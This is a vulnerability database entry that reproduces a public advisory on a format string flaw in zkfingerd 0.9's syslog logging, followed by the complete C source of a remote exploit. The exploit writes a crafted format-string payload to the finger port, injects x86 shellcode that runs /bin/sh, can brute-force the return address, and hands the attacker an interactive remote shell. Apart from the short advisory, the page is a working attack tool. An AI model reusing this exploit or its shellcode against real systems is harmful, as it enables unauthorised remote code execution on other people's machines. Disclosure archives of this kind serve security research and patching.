Lucene search
K

zkfingerd SysLog 0.9.1 Format String Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

zkfingerd Format String Vulnerability Logging error messages using 'syslog()' function allows memory corruption by passing format strings, potentially exploited to execute arbitrary instructions with elevated privileges

Code

                                                source: http://www.securityfocus.com/bid/6402/info

zkfingerd is prone to a format string vulnerability. This problem is due to incorrect use of the 'syslog()' function to log error messages. It is possible to corrupt memory by passing format strings through the vulnerable logging function. This may potentially be exploited to overwrite arbitrary locations in memory with attacker-specified values.

Successful exploitation of this issue may allow the attacker to execute arbitrary instructions, possibly, with elevated privileges.

/*
 *
 *		remote exploit for zkfingerd-r3-0.9 linux/x86 
 *	gives uid of user who is running zkfingerd (default: nobody)              
 *		    	    by Marceta Milos 
 *                          [email protected]
 *             
 * 		use this for educational propouses only! 
 * 
 * 	For local attack, response based method could be used, but for
 *	remote we can use blind brute force method.
 *
 *	greets to scut, DeadMaker, stinger, harada and all others.
 *     
 */

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<netdb.h>

#define Kb	1024
#define PORT	79      

#define green	"\x1B[1;32m"
#define def	"\x1B[0;37m"
#define wh	"\x1B[1;37m"

#define SHOFF	576
#define RETLOC  0xbffff970      /* Slackware 8.0 */
#define FMT     "\x25\x25\x2e\x25\x64\x75\x25\x25\x68\x6e" 
#define DIG8	"\x25\x2e\x66"
#define NOP	"\x90"


	char linux_x86_wrx[]=		
 
		"\x6a\x01"		/* push	$0x1		*/
		"\x5b"			/* pop %ebx		*/
		"\xb8\x0b\x6e\x4e\x0b"	/* mov $0x0b4e6e0b,%eax	*/
		"\x2d\x01\x01\x01\x01"	/* sub $0x01010101,%eax	*/
		"\x50"			/* push %eax		*/
		"\x89\xe1"		/* mov %esp,%ecx	*/
		"\x6a\x04"		/* push	$0x4		*/
		"\x58"			/* pop 	%eax		*/
		"\x89\xc2"		/* mov %eax,%edx	*/
		"\xcd\x80"		/* int $0x80		*/
		"\xeb\x0c"		/* jmp 12		*/
		"\x4b"			/* dec %ebx		*/
		"\xf7\xe3"		/* mul %ebx		*/
		"\xfe\xca"		/* dec %dl		*/
		"\x59"			/* pop %ecx		*/
		"\xb0\x03"		/* movb $0x3,%al	*/
		"\xcd\x80"		/* int $0x80		*/
		"\xeb\x05"		/* jmp $0x05		*/
		"\xe8\xef\xff\xff\xff";	/* call -17 		*/

	 char linux_x86_execve[]=

		"\x6a\x0b"		/* push $0x0b		*/		
		"\x58"			/* pop %eax		*/
		"\x99"			/* cdq			*/
		"\x52"			/* push %edx		*/
		"\x68\x6e\x2f\x73\x68"	/* push $0x68732f6e	*/
		"\x68\x2f\x2f\x62\x69"	/* push $0x69622f2f	*/
	   	"\x89\xe3"		/* mov %esp,%ebx	*/
	        "\x52"			/* push %edx		*/
	        "\x53"			/* push %ebx		*/
	        "\x89\xe1"		/* mov %esp,%ecx	*/
	        "\xcd\x80";		/* int $0x80		*/

struct wr_addr {
                int low;
                int high;
                } addr;

int host_connect(char *, unsigned short int);
unsigned long int resolve(char *);

void usage(char *);
void exploit(char *, unsigned short int, unsigned long int);
void shell(int);

struct wr_addr convert_addr(unsigned long);

char sendbuf[Kb];
char recvbuf[Kb];

char *target		=	"127.0.0.1";
unsigned short int port = 	PORT;
unsigned long retloc 	=	RETLOC;
unsigned short int brute=	0;


int main(int argc, char **argv, char **env) {

	char c;

	printf(wh"\n remote nobody exploit for zkfingerd-r3-0.9 by marcetam."def"\n\n");

	if (argc<2)
		usage(argv[0]);

        while ((c = getopt(argc, argv, "h:p:b:")) != EOF) {

                switch (c) {

		case 'h':
			target = optarg;
			break;
                case 'p':
			port = (short)atoi(optarg);
			break;
                case 'b':
			retloc	= strtoul(optarg, &optarg,16);
			brute	= 1;
			break;
		default:
			usage(argv[0]);
                        break;
                }
        }
	printf(" target is : \n\n");
	printf(" host : "wh"%s"def"\n",target);
	printf(" port : "wh"%hu"def"\n",port);
	printf(" ret  : "wh"%#lx"def"\n\n",retloc);
	printf(" attacking ... ");

	if (brute != 0) {

		while(1) {

	printf("trying ret : %#lx\n", retloc);
			sleep(1);
			exploit(target, port, retloc);
			retloc -= 1;
		};
	} else exploit(target, port, retloc);

	return(0);
}

void usage(char *name){

        fprintf(stderr, " usage: %s -h <hostname> -p <port> -b <addr>\n\n",name);
        fprintf(stderr, " -h host\t target hostname (default 127.0.0.1)\n"
			" -p port\t port number (default 79)\n"
			" -b addr\t brute force retloc starting from addr\n"
			"\t\t   WARNING : this will flood logfile\n\n");

        exit(EXIT_FAILURE);
}

void exploit(char *hostname, unsigned short int port, unsigned long int retaddr){ 

        unsigned long *ptr;

	char	ret[4],
		*chr;

	int	i,
		fd;

	bzero(sendbuf, Kb);
	bzero(recvbuf, Kb);
	bzero(ret, 4);

	fd = host_connect(hostname, port);

	ptr	=	(long *)ret;
	*(ptr)	=	retaddr;
	ret[sizeof(ret)] = '\0';

	for(i = 0;i < 3;i++)
		strcat(sendbuf,ret);
	ret[0] += 2;
	strcat(sendbuf, ret);

	for(i = 0;i < 40; i++)
		strcat(sendbuf, DIG8);      

	addr = convert_addr(retaddr + SHOFF);
	sprintf(sendbuf + strlen(sendbuf), FMT, addr.low);
	sprintf(sendbuf + strlen(sendbuf), FMT, addr.high);
	chr = sendbuf + strlen(sendbuf);

	for(i = 0;i < 128;i++)
		strcat(sendbuf, NOP);

	strcat(sendbuf, linux_x86_wrx);
	write(fd, sendbuf, Kb);
	read(fd, recvbuf, Kb);

	if (strcmp(recvbuf, "\nmM\n") == 0) {

		printf(green"YEAH!\n"def);
		sleep(1);
		printf(" sending shellcode. \n");
		write(fd, linux_x86_execve, sizeof(linux_x86_execve));
		printf(" starting shell #\n"def);
		write(fd,"\n", 1);
		write(fd,"uname -a;id\n", 12);
		shell(fd);
	}
	else printf(wh" failed.\n\n"def);
}

struct wr_addr convert_addr(unsigned long addr) {

	struct wr_addr target;

	target.low  = (addr & 0x0000ffff);
	target.high = (addr & 0xffff0000) >> 16;

	if (target.high > target.low)
		target.high -= target.low;
	else {
		target.high += 0x10000;
		target.high -= target.low;
	}
	target.low -= 0x58;
	return(target);
}

unsigned long int resolve(char *hostname) {

	struct hostent *host;
	long            r;

	r = inet_addr(hostname);

	if (r == -1) { 
		host = gethostbyname(hostname);
		if (host == NULL) {
			return(0);
		} else { 
			return(*(unsigned long *)host->h_addr); 
	               }
	} 
	return(r);
}

int host_connect(char *hostname, unsigned short int port) {

        struct sockaddr_in	sa;
	int			fd;

        sa.sin_family	=	AF_INET;
        sa.sin_port	=	htons(port);
        fd		=	socket(AF_INET, SOCK_STREAM, 0);

        if (fd == -1)
		return(fd);

	if (!(sa.sin_addr.s_addr = resolve(hostname))) {
		close(fd);
                return(-1);
        }

	if (connect(fd, (struct sockaddr *)&sa, sizeof(struct sockaddr_in)) < 0) {
		perror("connect");
		close(fd);
		return(-1);
        }

        return(fd);
}

void shell(int fd) {

	char	buf[512];
	int	l;
        fd_set  fds;


        while (1) {

                FD_SET(0, &fds);
                FD_SET(fd, &fds);

                select(fd + 1, &fds, NULL, NULL, NULL);

                if (FD_ISSET(0, &fds)) {
                        l = read(0, buf, sizeof (buf));
                        if (l <= 0) {
                                perror("read user");
                                exit(EXIT_FAILURE);
                        }
                        write(fd, buf, l);
                }

                if (FD_ISSET(fd, &fds)) {
                        l = read(fd, buf, sizeof (buf));
                        if (l == 0) {
                                printf("connection closed by foreign host.\n");
                                exit(EXIT_FAILURE);
                        } else if (l < 0) {
                                perror("read remote");
                                exit(EXIT_FAILURE);
                        }
                        write(1, buf, l);
                }
        }
}

/* www.marcetam.net */
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation